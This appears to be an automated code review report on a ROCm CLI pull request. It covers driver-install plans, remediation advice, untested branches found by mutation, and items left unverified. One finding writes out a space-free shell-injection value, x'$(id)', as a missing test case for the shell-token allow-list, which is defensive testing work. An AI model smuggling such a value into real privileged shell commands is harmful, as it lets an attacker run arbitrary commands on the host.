• [standing] The PR description misstates the change — PR #181 body

  • It claims work that is not there:
    • The body says "This does not close #180", but GitHub lists #180 in the PR's closingIssuesReferences, so merging will close it.
    • It names a new scenario "examine-20"; the scenario is examine-29.
    • It places dnf_driver_plan/sles_driver_plan in apps/rocm/src/main.rs; they are in driver_install.rs.
    • Under Open questions it says fix-12's verify "checks for the repo marker file" and that 26.04 has "only unit-level" coverage. Commit 651a6b5 changed both.
  • The change does things the body does not mention:
    • fix-7's rework into per-package-manager (apt/dnf/zypper) listing and verify commands.
    • The quarantined-repo-file filter (is_live_rocm_repo_file_name).
    • zypper --non-interactive throughout.
    • distro_id_like now serialized for remote doctor.
    • openmpi.rs visibility widening.
  • Confidence 85 · mechanical
  • Fix: unlink #180 (or reword the body if closing it is intended), and update the description to match both commits.

• [standing] Remediation names rocm install driver --dkms --yes on hosts where that command plans nothing — crates/rocm-core/src/diagnose.rs (check_12, ~1529-1563; also fix-3 at :849 and fix-7's commented hint), fix-12 recipe in crates/rocm-core/src/fix.rs

  • Not re-found blind this round; put to the reviewer and confirmed still holding, by reading (anchored).
  • fix-12 pushes the closing rocm install driver --dkms --yes unconditionally, whatever repo_pkg_family returns, and fires on symptom keywords alone. Nothing asks whether the driver plan is supported on this host.
  • On hosts the planner returns supported: false for (Ubuntu 26.04 via ubuntu_native_archive, unlisted distros and versions) the named command plans nothing, so it cannot clear the condition. On an unknown family (e.g. pacman) it is the only runnable line fix-12 prints.
  • AGENTS.md §3: remediation advice naming a command must "actually clear the condition that printed it".
  • Fix: have the diagnose-side copy consult the driver plan's supported flag before printing the reinstall line, and print the plan's reason (or distro-native guidance) where it is unsupported.

• [standing] New branches that no test exercises, confirmed by mutation — apps/rocm/src/driver_install.rs:593, :949, :1031, :1407, crates/rocm-core/src/examine.rs:2053

  • Not re-found blind this round; put to the reviewer, who re-ran one mutation per item at this head (anchored). Baseline 69 driver_install:: tests passed; a control edit to the 26.04 codename did fail a test, so the edits were recompiled. Each mutation below left the suite green:
    • is_safe_shell_token's set widened to ._-'$();/ — every hostile fixture contains a space, so a space-free payload like x'$(id)' is never tried.
    • The os_id allow-list filter removed.
    • reboot_required flipped to true in the 26.04 arm.
    • The dnf rpm --import made RHEL-only — the Oracle, Rocky and ID_LIKE dnf tests do not assert the key import.
    • probe_rocm_install reverted to the old contains check — cargo test -p rocm-core --lib 772 passed; only the helper is_live_rocm_repo_file_name is tested.
  • Fix: space-free injection payloads for the override, VERSION_ID, codename and ID; assert !reboot_required on 26.04; assert rpm --import in a non-RHEL dnf test; drive a .bak repo file through probe_rocm_install.

• [standing] A non-UTF-8 ROCM_CLI_AMDGPU_DRIVER_VERSION silently becomes latest — apps/rocm/src/driver_install.rs:856-858

  • Not re-found blind this round; put to the reviewer and confirmed still holding, by reading (anchored).
  • Err(_) => Ok("latest") also catches VarError::NotUnicode. The comment at 853-855 says an invalid override must be refused rather than shown as an unexplained latest.
  • Fix: map only Err(VarError::NotPresent) to unset and send NotUnicode to the refusal plan; a #[cfg(unix)] test can build the value with OsString::from_vec.

Non-blocking

• [standing] The old override variables are silently ignored — apps/rocm/src/driver_install.rs:844-878. A user who exported ROCM_CLI_AMDGPU_VERSION=7.2.4 to pin now gets latest with no notice. This file's own comment (lines 853-855) says a user "should see why it did not take effect, not an unexplained latest". Only README mentions the rename. Confidence 70 · logic · Fix: when either old variable is set, say in the plan's reason that it is no longer read.

• [new] fix-3 tells users to "rerun rocm install driver --dkms" — crates/rocm-core/src/diagnose.rs:849, crates/rocm-core/src/fix.rs:324. Without --yes that command only prints the plan. This PR's own fix-12 test calls the bare form "a non-mutating preflight no-op", and check_7/check_12 show both steps. The plan output does say "rerun with --yes", which is why this is non-blocking. Confidence 70 · logic · Fix: name the --dkms --yes step as check_7 does.

• [new] fix-7's verify lines cannot fail — crates/rocm-core/src/diagnose.rs:1142-1144, crates/rocm-core/src/fix.rs:424-426. | tail -n 20 masks the exit code; the apt line already had this, and the change copies it to dnf and zypper. dnf clean all never contacts a repo, so it cannot show that a 404 or conflict is gone. Confidence 70 · logic · Fix: use dnf makecache / zypper refresh / apt-get update without tail, or under pipefail.

• [standing] fix-7's multi-line verify renders as prose in a command slot — crates/rocm-core/src/fix.rs:423-426. A worker ran rocm fix fix-7-stale-repos: "Run only the line matching your package manager:" printed under Verify: and the later lines lost their indentation. On the print-only path it would show as $ Run only…. Confidence 70 · mechanical · Fix: move the prose to notes.

• [new] The quarantined-repo filter is a denylist — crates/rocm-core/src/examine.rs:1991. It skips .bak/.save/.disabled only. amdgpu.list.distUpgrade, .dpkg-old, .dpkg-dist, .rpmsave and .rpmnew still count as live repos and can add check_7's "≥2 repo files" +40. Confidence 70 · logic · Fix: allowlist .list/.sources/.repo.

• [standing] --accept-eula is still a fix-12 trigger — crates/rocm-core/src/diagnose.rs:431, skills/rocm-doctor/reference.md:124. It is a flag of the installer this change removes. Hosts set up by that installer now read as "repo-native", and the remediation never removes the installer package. Confidence 70 · logic · Fix: drop the keyword and the doc trigger, or add a note for users of the old installer.

• [new] repo_pkg_family's pacman filter is redundant, and its comment is wrong — crates/rocm-core/src/diagnose.rs:1467-1500. Every match family already sends unhandled values to _ => {}, so the "would print an apt command" case the comment describes cannot happen. Confidence 70 · mechanical · Fix: delete the filter, or correct the comment.

• [standing] Small inaccuracies in driver_install.rs

  • The doc link [build_driver_install_plan] at line 881 points at a function that does not exist; the base wording was accurate.
  • The Windows-arm comment (902-905) refers to a "repo_version_expr: line", but the printed label is repo_version:.
  • repo_version_expr now always holds a resolved value, not an expression.
  • At lines 2807-2812 the .all(…"pwned") check runs over a list just asserted empty, so it checks nothing.
  • examine.feature:122 says the old placeholder was ${ROCM_CLI_AMDGPU_DRIVER_VERSION:-latest}; it was ${ROCM_CLI_AMDGPU_VERSION:-7.2.4}.
  • Confidence 70 · mechanical

Decisions for the author

• Floating latest default vs a pinned release — tradeoff

  • For latest: no manual bumps, and it tracks AMD's current driver.
  • Against latest:
    • The approved plan no longer names the build that will be installed, which goes against the principle this file states for ROCDXG (lines 464-470).
    • Runs on the same host can differ over time.
    • dnf_repo_baseurl hard-codes a rhel/<x.y> / el/<x.y> layout under a moving target. One worker's web search suggests recent amdgpu releases changed that layout; it could not be verified from here, and no test can catch a 404.
  • The description already lists this as an open question.

• Hard rename of the override variables with no transition warning — tradeoff. #180 asks for no grace period, which supports a clean break. A one-line "this variable is no longer read" notice would still keep a silent change of version from reaching users who had pinned.

Positive signals

• Every value interpolated into a privileged shell command goes through one allow-list (is_safe_shell_token): the override, VERSION_ID, the codename and ID. A bad value falls back to a safe, non-mutating plan, and the tests use real injection payloads.
• dnf and zypper now use rpm --import with gpgcheck=1 repo files. They no longer install an unsigned installer RPM or run zypper --no-gpg-checks, which is a real trust improvement.
• --gpg-auto-import-keys carries a comment explaining that an unattended run has no stdin to answer zypper's key prompt, and a test pins it.
• #[serde(default)] on distro_id_like keeps rocm remote doctor working against older remotes, and a round-trip test guards it.
• The drift tests compare fix.rs against diagnose() output, not against hard-coded strings.

Deployment notes

• examine --json rocm_install_method values changed: amdgpu-install became repo-native, and tarball-or-other became runfile-or-tarball. External scripts must update.
• ROCM_CLI_AMDGPU_VERSION and ROCM_CLI_AMDGPU_PACKAGE_RELEASE are no longer read, and the default driver source becomes latest.
• skills/rocm-doctor/ changed, so the amd/skills staging/rocm-doctor copy needs its hand-sync (AGENTS.md §7).

What this covered

What was read:

• All 18 changed files, git diff prw-base...HEAD (merge-base acda519…651a6b54; prw-base tip 32834b2). git merge-tree with prw-base is clean.
• The code passes were split across two read-only workers grouped by coupling: the driver-install plan with its docs and e2e, and rocm-core diagnose/examine/fix with the catalog and skill docs. Both reported reading their groups completely.
• Agent-instruction adherence, history (git log on the touched files), the design questions, and the description/#180 comparison were done by the driver.

Checks run:

• CI on 651a6b5 is all green, including the Windows and GPU lanes.
• Targeted cargo test -p rocm --bin rocm driver_ (71 passed) and cargo test -p rocm-core (772 passed).
• cargo xtask catalog --check (in sync) and clippy on rocm-core.

Did not run, and why:

• Prior-changes pass: no review comments on earlier PRs were read.
• e2e --test e2e locally: WSL2 host, and the scenarios need bare metal.
• repo.radeon.com URL probes: network access was denied, so the repo layout under latest is unverified.
• ai-instruction-quality was not activated for the two one-line edits under skills/rocm-doctor/.
• The two workers shared one checkout for their mutation runs and each saw the other's temporary edits. Each finding above rests on a run the worker attributed to its own unmodified or single-mutation state.

Not reconciled against any PR discussion here.

---

Round note: this round files a change request, because blocking findings hold at the current head. Standing objections from earlier automated rounds that were not re-found blind were each put to the reviewer after its report was frozen (anchored evidence). Dropped as no longer holding: driver-install-04 failing on the hosted lane (the hosted E2E tests job on ubuntu-26.04 passes it now); fix-7's always-true unknown-family verify (now ! test -e per flagged repo file); check_7 printing apt commands on unknown-family hosts (explicit apt/dnf/zypper arms, covered by stale_repos_emits_no_package_manager_commands_on_pacman_hosts); the apt-only rocm fix fix-7 recipe (now lists all three package managers). Kept: the three items above marked "Not re-found blind this round". Reply 6318205357 answers another reviewer and asks nothing of this automation; it was acknowledged with a reaction (GitHub shows a +1). The other change request on this PR is not this automation's.